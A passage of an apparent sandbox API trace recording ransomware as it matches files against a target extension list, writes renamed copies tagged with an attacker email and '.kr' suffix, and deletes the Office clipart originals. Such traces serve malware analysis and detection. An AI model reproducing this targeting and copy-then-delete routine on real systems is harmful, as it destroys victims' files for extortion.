lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.585] lstrlenW (lpString=".xls") returned 4 [0198.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.585] lstrlenW (lpString=".xlsx") returned 5 [0198.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.585] lstrlenW (lpString=".ppt") returned 4 [0198.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.585] lstrlenW (lpString=".zip") returned 4 [0198.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.585] lstrlenW (lpString=".rar") returned 4 [0198.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.585] lstrlenW (lpString=".bz2") returned 4 [0198.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.585] lstrlenW (lpString=".7z") returned 3 [0198.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.586] lstrlenW (lpString=".dbf") returned 4 [0198.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.586] lstrlenW (lpString=".1cd") returned 4 [0198.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.586] lstrlenW (lpString=".jpg") returned 4 [0198.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.586] lstrlenW (lpString=".doc") returned 4 [0198.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString=".docx") returned 5 [0198.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.586] lstrlenW (lpString=".pdf") returned 4 [0198.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.586] lstrlenW (lpString=".xls") returned 4 [0198.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.586] lstrlenW (lpString=".xlsx") returned 5 [0198.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.586] lstrlenW (lpString=".ppt") returned 4 [0198.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.587] lstrlenW (lpString=".zip") returned 4 [0198.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.587] lstrlenW (lpString=".rar") returned 4 [0198.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString=".bz2") returned 4 [0198.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString=".7z") returned 3 [0198.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.587] lstrlenW (lpString=".dbf") returned 4 [0198.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.587] lstrlenW (lpString=".1cd") returned 4 [0198.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0198.587] lstrlenW (lpString=".jpg") returned 4 [0198.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.587] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.587] lstrlenW (lpString="IN00915_.WMF") returned 12 [0198.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.588] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=12748) returned 1 [0198.588] CloseHandle (hObject=0x548) returned 1 [0198.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0198.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.589] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.590] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.590] GetLastError () returned 0x0 [0198.590] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0198.592] WriteFile (in: hFile=0x4d4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0198.594] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.594] WriteFile (in: hFile=0x4d4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.594] SetEndOfFile (hFile=0x4d4) returned 1 [0198.594] CloseHandle (hObject=0x4d4) returned 1 [0198.594] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.594] SetEndOfFile (hFile=0x548) returned 1 [0198.599] CloseHandle (hObject=0x548) returned 1 [0198.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0198.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.600] lstrlenW (lpString=".doc") returned 4 [0198.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.600] lstrlenW (lpString=".docx") returned 5 [0198.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.600] lstrlenW (lpString=".pdf") returned 4 [0198.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.600] lstrlenW (lpString=".xls") returned 4 [0198.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.600] lstrlenW (lpString=".xlsx") returned 5 [0198.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.600] lstrlenW (lpString=".ppt") returned 4 [0198.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.601] lstrlenW (lpString=".zip") returned 4 [0198.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.601] lstrlenW (lpString=".rar") returned 4 [0198.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString=".bz2") returned 4 [0198.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString=".7z") returned 3 [0198.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.601] lstrlenW (lpString=".dbf") returned 4 [0198.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.601] lstrlenW (lpString=".1cd") returned 4 [0198.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.601] lstrlenW (lpString=".jpg") returned 4 [0198.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.601] lstrlenW (lpString=".doc") returned 4 [0198.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.601] lstrlenW (lpString=".docx") returned 5 [0198.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.601] lstrlenW (lpString=".pdf") returned 4 [0198.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".xls") returned 4 [0198.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.602] lstrlenW (lpString=".xlsx") returned 5 [0198.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.602] lstrlenW (lpString=".ppt") returned 4 [0198.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.602] lstrlenW (lpString=".zip") returned 4 [0198.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.602] lstrlenW (lpString=".rar") returned 4 [0198.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".bz2") returned 4 [0198.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString=".7z") returned 3 [0198.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.602] lstrlenW (lpString=".dbf") returned 4 [0198.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.602] lstrlenW (lpString=".1cd") returned 4 [0198.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0198.602] lstrlenW (lpString=".jpg") returned 4 [0198.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.602] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.603] lstrlenW (lpString="IN00919_.WMF") returned 12 [0198.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.603] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6920) returned 1 [0198.603] CloseHandle (hObject=0x548) returned 1 [0198.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0198.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.604] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.604] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.606] GetLastError () returned 0x0 [0198.606] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0198.608] WriteFile (in: hFile=0x4d4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0198.609] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.609] WriteFile (in: hFile=0x4d4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.609] SetEndOfFile (hFile=0x4d4) returned 1 [0198.609] CloseHandle (hObject=0x4d4) returned 1 [0198.609] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.609] SetEndOfFile (hFile=0x548) returned 1 [0199.143] CloseHandle (hObject=0x548) returned 1 [0199.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0199.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.144] lstrlenW (lpString=".doc") returned 4 [0199.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.144] lstrlenW (lpString=".docx") returned 5 [0199.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0199.144] lstrlenW (lpString=".pdf") returned 4 [0199.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString=".xls") returned 4 [0199.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.145] lstrlenW (lpString=".xlsx") returned 5 [0199.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0199.145] lstrlenW (lpString=".ppt") returned 4 [0199.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.145] lstrlenW (lpString=".zip") returned 4 [0199.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.145] lstrlenW (lpString=".rar") returned 4 [0199.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString=".bz2") returned 4 [0199.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString=".7z") returned 3 [0199.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.145] lstrlenW (lpString=".dbf") returned 4 [0199.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.145] lstrlenW (lpString=".1cd") returned 4 [0199.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.145] lstrlenW (lpString=".jpg") returned 4 [0199.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.145] lstrlenW (lpString=".doc") returned 4 [0199.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.145] lstrlenW (lpString=".docx") returned 5 [0199.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0199.146] lstrlenW (lpString=".pdf") returned 4 [0199.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.146] lstrlenW (lpString=".xls") returned 4 [0199.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.146] lstrlenW (lpString=".xlsx") returned 5 [0199.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0199.146] lstrlenW (lpString=".ppt") returned 4 [0199.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.146] lstrlenW (lpString=".zip") returned 4 [0199.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.146] lstrlenW (lpString=".rar") returned 4 [0199.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.146] lstrlenW (lpString=".bz2") returned 4 [0199.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.146] lstrlenW (lpString=".7z") returned 3 [0199.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.146] lstrlenW (lpString=".dbf") returned 4 [0199.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.147] lstrlenW (lpString=".1cd") returned 4 [0199.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0199.147] lstrlenW (lpString=".jpg") returned 4 [0199.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.147] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.147] lstrlenW (lpString="J0086428.WMF") returned 12 [0199.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.148] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=35346) returned 1 [0199.148] CloseHandle (hObject=0x548) returned 1 [0199.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0199.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.149] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.149] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.150] GetLastError () returned 0x0 [0199.150] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0199.152] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0199.154] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.154] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.154] SetEndOfFile (hFile=0x534) returned 1 [0199.154] CloseHandle (hObject=0x534) returned 1 [0199.155] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.155] SetEndOfFile (hFile=0x548) returned 1 [0199.159] CloseHandle (hObject=0x548) returned 1 [0199.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0199.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.160] lstrlenW (lpString=".doc") returned 4 [0199.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.160] lstrlenW (lpString=".docx") returned 5 [0199.160] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.160] lstrlenW (lpString=".pdf") returned 4 [0199.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.160] lstrlenW (lpString=".xls") returned 4 [0199.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.160] lstrlenW (lpString=".xlsx") returned 5 [0199.161] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.161] lstrlenW (lpString=".ppt") returned 4 [0199.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.161] 